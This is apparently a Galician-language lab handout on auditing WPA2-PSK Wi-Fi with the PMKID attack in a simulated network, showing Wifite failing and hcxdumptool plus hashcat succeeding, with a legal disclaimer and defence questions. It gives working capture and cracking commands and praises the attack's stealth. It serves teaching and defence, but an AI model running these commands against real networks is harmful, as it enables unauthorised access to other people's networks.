Ir ao contido

Auditar contrasinal Wi-Fi WPA2 (PSK) mediante PMKID con Wifite

LIMITACIÓN DE RESPONSABILIDADE

O autor do presente documento declina calquera responsabilidade asociada ao uso incorrecto e/ou malicioso que puidese realizarse coa información exposta no mesmo. Este documento foi xerado para uso didáctico e debe ser empregado en contornas privadas e virtuais controladas co permiso correspondente do administrador desas contornas.
O uso de Wifite ou calquera outra ferramenta de auditoría en redes Wi-Fi sen autorización expresa é ILEGAL.

1. Resumo

Esta práctica introduce o ataque PMKID (Pairwise Master Key Identifier) como método alternativo para auditar redes WPA2-PSK utilizando Wifite como ferramenta automatizada.

AVISO CRÍTICO — LER ANTES DE COMEZAR

Wifite NON funciona para capturar PMKID. Este é un problema coñecido e documentado desde 2019, tanto en hardware real como en entornos simulados (mac80211_hwsim). Esta práctica demostra como se usaría Wifite para PMKID (con fins educativos), pero o método NON funcionará. Para capturar PMKID realmente, usa o documento 1.3-ATAQUE_WPA2_PSK_PMKID, que explica o método manual con hcxdumptool.


2. Limitacións de Wifite con PMKID (ler primeiro)

Conclusión: Wifite NON funciona para capturar PMKID (problema coñecido desde 2019)

Issues oficiais documentados no repositorio de Wifite2:

  • Issue #335 (Marzo 2021): "Failed to capture PMKID" — "With Hcxdumptool i can get PMKIDS easily. But Wifite could not capture PMKID" (hardware REAL, mesmo problema)
  • Issue #253 (Xaneiro 2020): "Failed to capture PMKID on every ESSID" — "If I try using hcxdumptool I'm able to grab PMKID from networks all over, but wifite fails after timeout"
  • Issue #188 (Xaneiro 2019): Timeout de PMKID aumentouse de 15s a 30s, pero segue fallando

O problema NON é exclusivo de mac80211_hwsim

Ferramenta Hardware real mac80211_hwsim
hcxdumptool directo ✔ Funciona ✔ Funciona
Wifite ✗ NON funciona ✗ NON funciona

Por que o método manual funciona e Wifite non?

  • hcxdumptool directamente: interactúa directamente co driver → captura paquetes EAPOL correctamente
  • Wifite: usa hcxdumptool internamente, pero a capa de abstracción introduce fallos que non teñen solución coñecida

Non hai solución coñecida

Os issues levan abertos desde 2019 sen solución. Actualizar Wifite non resolve o problema. A comunidade recomenda usar hcxdumptool directamente.

Saídas que verás cando Wifite falle

Situación 1: Wifite non detecta ferramentas

[!] Skipping PMKID attack, missing required tools: hcxdumptool, hcxpcapngtool

Situación 2: Wifite non captura PMKID (máis común)

[+] EMPRESA-XYZ (72db) PMKID CAPTURE: Waiting for PMKID (4m55s)
[+] EMPRESA-XYZ (72db) PMKID CAPTURE: Failed to capture PMKID
Aínda que desconectes e reconectes o cliente manualmente mentres Wifite está escoitando, Wifite non captura o PMKID.

Solución

Usa o documento 1.3-ATAQUE_WPA2_PSK_PMKID co método manual con hcxdumptool directamente. Sempre funciona tanto en hardware real como en mac80211_hwsim.


3. Obxectivos de aprendizaxe

Aínda que Wifite NON funciona para PMKID, esta práctica demostra:

  • Como se usaría Wifite para intentar capturar PMKID
  • Por que falla e que saídas verás
  • Que Wifite NON é unha ferramenta fiable para PMKID
  • A importancia de coñecer as limitacións das ferramentas automatizadas

Vantaxes do PMKID sobre handshake tradicional (cando funciona co método manual):
- NON require desautenticación → cliente lexítimo NON se entera do ataque
- Captura en 15-30 segundos (máis rápida que handshake)
- NON require capturar 4 paquetes EAPOL (só 1 é suficiente)
- Moito menos intrusivo → cliente mantén conexión activa


4. Material necesario

Hardware/Software:
- Host alumnado · Máquina virtual GNU/Linux Kali amd64
- RAM ≥ 2048 MB · CPU ≥ 2 cores · PAE/NX habilitado

Ferramentas (xa instaladas en Kali):
wifite, hcxdumptool (≥ 7.0.0), hcxpcapngtool (parte de hcxtools), hashcat, hostapd, wpa_supplicant, mac80211_hwsim

Wordlist: /usr/share/wordlists/rockyou.txt.gz

Referencias: - [0] 1-Taller-HE-Practica-WiFi-4.pdf
- [1] Wifite2 GitHub
- [2] Descubridor PMKID: Jens "atom" Steube (Agosto 2018)
- [3] Hashcat Forum — PMKID Attack


5. Escenario e topoloxía

Rol Interface Namespace IP Estado tras wifilabctl up
AP WPA2-PSK wlan0 wifi_ap_wlan0 192.168.10.1 ✅ Automático
Cliente WPA2 wlan1 wifi_cliente_wlan1 192.168.10.2 ✅ Automático
Atacante (Wifite) wlan2 (global) ⏳ Interface libre
Monitor adicional wlan3 (global) ⏳ Interface libre

SSID: EMPRESA-XYZ · Contrasinal: spongebob19 · Canal: 6

[wlan1: Cliente PSK]  ----wireless----> [wlan0: AP WPA2-PSK]
                                              ^
                                              |
                                    [wlan2mon: Wifite / hcxdumptool]
                                    (intento PMKID → falla con Wifite)

💡 wifilabctl up psk levanta automaticamente AP e cliente. As terminais son para demostración do fallo e análise, non para configuración manual.


6. Procedemento

Resumo de terminais:

Terminal Rol
1 Arrancar o escenario e verificacións
2 Demostración do fallo de Wifite con PMKID
3 Método manual con hcxdumptool que SÍ funciona (opcional)

Terminal 1 — Arrancar o escenario

# Mesmo escenario que a Práctica 1-1
sudo wifilabctl up psk

Saída esperada:

[*] Informe de Estado do Laboratorio
============================================================
NAMESPACE                 INTERFACE       IP                   ESTADO
---------------------------------------------------------------------------
wifi_cliente_wlan1        wlan1           192.168.10.2/24      UP
wifi_ap_wlan0             wlan0           192.168.10.1/24      UP
---------------------------------------------------------------------------
Interfaces GLOBAIS / ATACANTE:
(global)                  wlan2           (host/monitor)       LISTO
(global)                  wlan3           (host/monitor)       LISTO

⚠️ O escenario psk é o mesmo da Práctica 1.1. Os valores de BSSID e MAC do cliente obtéñense con sudo wifilabctl status.


Terminal 2 — Demostración do fallo de Wifite con PMKID

Abrir unha segunda terminal e seguir os pasos:

Paso 1: Acceder como root e verificar ferramentas

sudo su -

# Verificar que hcxdumptool está instalado (requirido por Wifite para PMKID)
which hcxdumptool && hcxdumptool --version
which hcxpcapngtool

# Se non están instalados:
apt update && apt -y install hcxdumptool hcxtools

# Descomprimir wordlist
gunzip -kf /usr/share/wordlists/rockyou.txt.gz

Paso 2: Lanzar Wifite con ataque PMKID

wifite -i wlan2 --pmkid --dict /usr/share/wordlists/rockyou.txt

-i wlan2: interface a usar · --pmkid: priorizar PMKID sobre handshake · --dict: wordlist para cracking

Paso 3: Avisos de procesos en conflito — non matar

 [!] Conflicting processes: NetworkManager (PID 642), wpa_supplicant (PID 1919),
     hostapd (PID 2009), wpa_supplicant (PID 2024)
 [!] If you have problems: kill -9 PID or re-run wifite with --kill

⚠️ Non matar eses procesos. Son o AP e o cliente do escenario. Ignorar e continuar.

Paso 4: Seleccionar a interface de ataque

Con mac80211_hwsim, Wifite pide seleccionar entre wlan2 e wlan3:

    Interface   PHY   Driver              Chipset
-----------------------------------------------------------------------
 1. wlan2       phy2  ??????              non-mac80211 device? (report this!)
 2. wlan3       phy3  ??????              non-mac80211 device? (report this!)
 [+] Select wireless interface (1-2): 1

Introducir 1 e premer Enter.

💡 O aviso non-mac80211 device? é normal con interfaces virtuais. Non impide o funcionamento.

Paso 5: Escaneo e selección do AP obxectivo

Wifite escaneará en modo monitor. Cando apareza EMPRESA-XYZ premer Ctrl+C:

   NUM                      ESSID   CH  ENCR    PWR    WPS  CLIENT
   ---  -------------------------  ---  -----   ----   ---  ------
     1               EMPRESA-XYZ     6  WPA-P   72db    no     1
 [+] Select target(s) (1-1) separated by commas, dashes or all: 1

Introducir 1 e premer Enter.

Paso 6: Ataque PMKID — FALLARÁ (resultado esperado)

Wifite tentará capturar o PMKID. Dependendo da instalación, verás un dos dous seguintes resultados:

Caso A — Wifite non detecta as ferramentas:

[!] Skipping PMKID attack, missing required tools: hcxdumptool, hcxpcapngtool

Caso B — Wifite non captura o PMKID (máis común):

 [+] (1/1) Starting attacks against 06:FE:D8:7D:4F:43 (EMPRESA-XYZ)
 [+] EMPRESA-XYZ (72db) PMKID CAPTURE: Waiting for PMKID (4m55s)
 [+] EMPRESA-XYZ (72db) PMKID CAPTURE: Failed to capture PMKID
 [+] Finished attacking 1 target(s), exiting

⚠️ RESULTADO ESPERADO: FALLO. Este é o comportamento documentado nos issues #335, #253 e #188 de Wifite2. Non hai nada mal na configuración do laboratorio — o problema é de Wifite.

Se Wifite pasa ao ataque de handshake tras o fallo PMKID, premer Ctrl+C e logo e para saír.


Terminal 1 — Verificacións tras o fallo

# Confirmar que o cliente permanece conectado (o ataque PMKID non o perturbou)
sudo ip netns exec wifi_cliente_wlan1 iw dev wlan1 link
# Connected to <BSSID_AP> (on wlan1)
# SSID: EMPRESA-XYZ

# Confirmar que NON hai ficheiros PMKID capturados por Wifite
ls -lh /root/hs/
# (vacío ou sen ficheiros .hc22000)

Terminal 3 — Método manual con hcxdumptool que SÍ funciona (opcional)

Para demostrar que o problema é de Wifite e non do entorno, hcxdumptool directamente SÍ captura o PMKID. Abrir unha terceira terminal:

sudo su -

# Poñer wlan3 en modo monitor
ip link set wlan3 down
iw dev wlan3 set type monitor
ip link set wlan3 up

# Obter o BSSID do AP (columna INTERFACE wlan0 en wifilabctl status)
# e convertelo a formato sen dous puntos: ex. 02:00:00:00:00:00 → 020000000000
sudo wifilabctl status

# Capturar PMKID directamente con hcxdumptool
hcxdumptool -i wlan3 -w /tmp/pmkid-manual.pcapng \
  --filtermode=2 --filterlist_ap=<BSSID_SEN_DOUS_PUNTOS> \
  -c 6 --rds=1
# Premer Ctrl+C despois de 30 segundos

# Converter a formato hashcat
hcxpcapngtool -o /tmp/pmkid-manual.hc22000 /tmp/pmkid-manual.pcapng

# Verificar que o PMKID foi capturado (debe mostrar datos)
cat /tmp/pmkid-manual.hc22000

# Crackear con hashcat
hashcat -m 22000 /tmp/pmkid-manual.hc22000 /usr/share/wordlists/rockyou.txt
# KEY FOUND! [ spongebob19 ]

💡 Este é o método correcto e completo documentado en 1.3-ATAQUE_WPA2_PSK_PMKID.


7. Comparativa PMKID vs Handshake Tradicional

Característica Práctica 1-1 (Handshake) Práctica 1-3 (PMKID)
Desautenticación ✗ Necesaria ✅ NON necesaria
Paquetes a capturar 4 (EAPOL 1/4 a 4/4) 1
Tempo de captura Variable (minutos) 15-60 segundos
Intrusividade ALTA (cliente desconecta) BAIXA (cliente non se entera)
Funciona con Wifite ✅ Si ✗ NON (issue coñecido 2019)
Funciona con método manual ✅ Si ✅ Si (hcxdumptool directo)

Conclusión: PMKID é moito máis rápido e sigiloso (co método manual): - ✅ NON require clientes desconectados nin desautenticación forzada - ✅ Captura un só paquete (vs 4 do handshake tradicional) - ✅ Cliente NON se entera do ataque


8. Preguntas de reflexión

  1. Por que foi posible capturar o PMKID co método manual?

    • O PMKID envíase en texto claro no primeiro paquete EAPOL
    • Deriva da PMK, que se calcula co contrasinal do AP → permite ataques offline
  2. Que fai este ataque menos intrusivo que o handshake tradicional?

    • NON require desautenticar ao cliente lexítimo
    • Cliente mantén conexión activa durante todo o ataque
  3. Como protexerse contra ataques PMKID?

    • Contrasinal forte: ≥ 20 caracteres, aleatorio, non presente en wordlists
    • Migrar a WPA3-SAE: inmune a ataques offline ao handshake (Práctica 3-1)
    • Actualizar firmware do AP: versións modernas poden desactivar PMKID
  4. É legal executar Wifite/hcxdumptool nunha rede real?

    • NON, sen autorización expresa por escrito do propietario
    • Só en ambientes controlados de laboratorio con permisos
  5. Por que Wifite NON funciona para PMKID?

    • Problema coñecido desde 2019 (Issues #335, #253, #188 de GitHub)
    • Afecta tanto a hardware real como a mac80211_hwsim
    • A capa de abstracción de Wifite introduce fallos que hcxdumptool directo non ten
    • Usa sempre o método manual (1.3-ATAQUE_WPA2_PSK_PMKID)
  6. Que facer se Wifite non captura PMKID?

    • É o comportamento esperado — non hai solución para Wifite
    • Usar hcxdumptool directamente: sempre funciona
  7. Por que o método manual funciona e Wifite non?

    • hcxdumptool directamente: interactúa co driver → funciona ✔
    • Wifite: a capa de abstracción introduce problemas → NON funciona ✗
    • Confirmado pola comunidade en múltiples issues desde 2019

9. Limpeza do laboratorio

Terminal 1:

# Deter e eliminar o escenario completamente
sudo wifilabctl reset

# Verificar que non quedan namespaces
ip netns list

Terminal 3 (se se usou wlan3 en modo monitor):

ip link set wlan3 down
iw dev wlan3 set type managed
ip link set wlan3 up